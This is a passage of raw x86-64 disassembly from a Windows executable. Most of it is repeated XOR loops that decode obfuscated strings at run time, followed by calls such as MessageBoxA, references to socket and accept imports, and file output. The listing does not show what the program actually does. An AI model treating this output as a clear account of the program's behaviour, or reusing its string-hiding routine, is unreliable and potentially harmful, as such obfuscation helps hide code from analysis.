psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007ce80
movsd xmm0, qword [0x140120848]
movzx eax, byte [0x140120850]
movsd qword [rbp - 0x18], xmm0
mov byte [rbp - 0x18], 0x53
xor byte [rbp - 0x17], 0x38
xor byte [rbp - 0x16], 0x39
xor byte [rbp - 0x15], 0x3a
xor byte [rbp - 0x14], 0x3b
xor byte [rbp - 0x13], 0x3c
xor byte [rbp - 0x12], 0x3d
xor byte [rbp - 0x11], 0x3e
xor al, 0x3f
mov byte [rbp - 0x10], al
mov r9d, Ordinal_50
lea r8, [rbp + 0xf8]
lea rdx, [rbp - 0x18]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14007cf46
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007cf41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc63
call fcn.1400ed6a0
mov r14d, dword [rbp + 0x18]
mov ecx, 4
call fcn.140042270
mov eax, dword [0x1401481f0]
mov edi, 1
cmp eax, 1
jne 0x14007eebd
movaps xmm0, xmmword [0x140120ac0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
lea ecx, [rax + 0x14]
call fcn.140042810
movaps xmm0, xmmword [0x140120ac0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140042810
movaps xmm0, xmmword [0x140120ad0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140042810
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rbp - 0x70]
mov ecx, 5
call fcn.140042810
mov dword [rbp + 0x200], 0x437c0000
mov dword [rbp + 0x204], 0x42440000
lea rcx, [rbp + 0x200]
call fcn.140047270
mov eax, dword [0x14012089c]
mov dword [rsp + 0x68], eax
cmp byte [str.:dHVU_], 0
je 0x14007d663
cmp r15d, 2
jl 0x14007d626
movdqa xmm3, xmmword [0x1401311e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140120af0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140120af0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140120a80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x14007d663
mov rax, qword [0x140120878]
mov qword [rsp + 0x68], rax
cmp byte [0x14012087f], 0
je 0x14007d1f3
cmp r15d, 2
jl 0x14007d1b7
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007d1f3
lea r9, [rsp + 0x68]
mov r8d, esi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007d1c0
movups xmm0, xmmword [str.dLXHOIM]
movups xmmword [rbp - 0x70], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14007d393
cmp r15d, 2
jl 0x14007d357
movdqa xmm5, xmmword [0x1401311e0]
mov edx, esi
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x6c]
mov r8d, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14007d250
jmp 0x14007d393
lea r9, [rbp - 0x70]
mov r8d, esi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14007d360
mov r9d, Ordinal_50
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x5d0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140120880]
movups xmmword [rbp + 0x550], xmm0
movsd xmm0, qword [0x140120890]
movsd qword [rbp + 0x560], xmm0
movzx eax, word [0x140120898]
mov word [rbp + 0x568], ax
movzx eax, byte [0x14012089a]
mov byte [rbp + 0x56a], al
mov r8d, esi
cmp r15d, 2
jl 0x14007d54d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007d440
cmp r8d, 0x1b
jge 0x14007d593
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14007d560
mov dword [rsp + 0x20], edi
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x5d0]
call fcn.14001b460
nop
lea rdx, [0x140148200]
lea rcx, [rbp + 0x5d0]
call fcn.14001fd20
nop
mov rax, qword [rbp + 0x5d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5cc], edx
lea rcx, [rbp + 0x5d8]
call fcn.14001c170
lea rcx, [rbp + 0x5e0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x678]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14007cf4a
lea r9, [rsp + 0x68]
mov r8d, esi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007d630
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
xor ecx, ecx
call fcn.14003bf00
test al, al
je 0x14007d85f
movups xmm0, xmmword [0x1401208a0]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [0x1401208b0]
movups xmmword [rbp + 0xa8], xmm1
movzx eax, word [0x1401208c0]
mov word [rbp + 0xb8], ax
movzx eax, byte [0x1401208c2]
mov byte [rbp + 0xba], al
mov r8d, esi
cmp r15d, 2
jl 0x14007d80d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x9c]
mov edx, dword [rbp - 0x80]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007d700
cmp r8d, 0x23
jge 0x14007d853
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14007d820
lea rcx, [rbp + 0x98]
call fcn.140047800
mov dword [rbp + 0x208], 0x42f40000
mov dword [rbp + 0x20c], 0x42340000
lea rcx, [rbp + 0x208]
call fcn.140047270
movups xmm0, xmmword [str.dHVU_]
movups xmmword [rbp + 0x570], xmm0
movzx eax, byte [0x1401208d8]
mov byte [rbp + 0x580], al
mov r8d, esi
cmp r15d, 2
jl 0x14007d9ed
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007d8e0
cmp r8d, 0x11
jge 0x14007da33
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14007da00
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x570]
call fcn.140066190
mov dword [rbp + 0x210], 0x43b68000
mov dword [rbp + 0x214], 0x433a0000
lea rcx, [rbp + 0x210]
call fcn.140047270
mov eax, dword [0x1401208dc]
mov dword [rsp + 0x68], eax
cmp byte [str.:tWTJZNX], 0
je 0x14007db53
cmp r15d, 2
jl 0x14007db09
movdqa xmm3, xmmword [0x1401311e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140120af0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140120af0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140120a80]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x14007db53
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14007db20
movaps xmm0, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14006e290
xor ecx, ecx
call fcn.14003bf00
test al, al
je 0x14007dd3f
movups xmm0, xmmword [0x1401208e0]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [0x1401208f0]
movups xmmword [rbp + 0xa8], xmm1
movzx eax, byte [0x140120900]
mov byte [rbp + 0xb8], al
mov r8d, esi
cmp r15d, 2
jl 0x14007dced
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x9c]
mov edx, dword [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007dbe0
cmp r8d, 0x21
jge 0x14007dd33
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14007dd00
lea rcx, [rbp + 0x98]
call fcn.140047800
mov dword [rbp + 0x88], 0x431b0000
mov dword [rbp + 0x8c], 0x43340000
lea rcx, [rbp + 0x88]
call fcn.140047270
mov eax, dword [str.l_3__E]
mov dword [rbp + 0x58], eax
movzx eax, word [0x140120914]
mov word [rbp + 0x5c], ax
movzx eax, byte [0x140120916]
movsd xmm0, qword [str.tWTJZNX]
mov byte [rbp + 0x5e], al
movsd qword [rbp + 0x50], xmm0
mov dword [rbp + 0xa54], 0x41f00000
mov dword [rbp + 0xa50], 0x43480000
mov r8d, esi
cmp r15d, 2
jl 0x14007deb2
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.tWTJZNX]
xorps xmm2, xmm0
movd dword [rbp + 0x50], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14007dec0
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x50]
call fcn.1400659c0
test al, al
je 0x14007df13
lea rcx, [0x140147050]
call fcn.14007ff90
movaps xmm0, xmm8
call fcn.1400479a0
mov dword [rbp + 0x218], 0x42f40000
mov dword [rbp + 0x21c], 0x42a00000
lea rcx, [rbp + 0x218]
call fcn.140047270
movups xmm0, xmmword [0x140120918]
movups xmmword [rbp + 0x570], xmm0
movzx eax, byte [0x140120928]
mov byte [rbp + 0x580], al
mov r8d, esi
cmp r15d, 2
jl 0x14007e0ad
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007dfa0
cmp r8d, 0x11
jge 0x14007e0f3
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
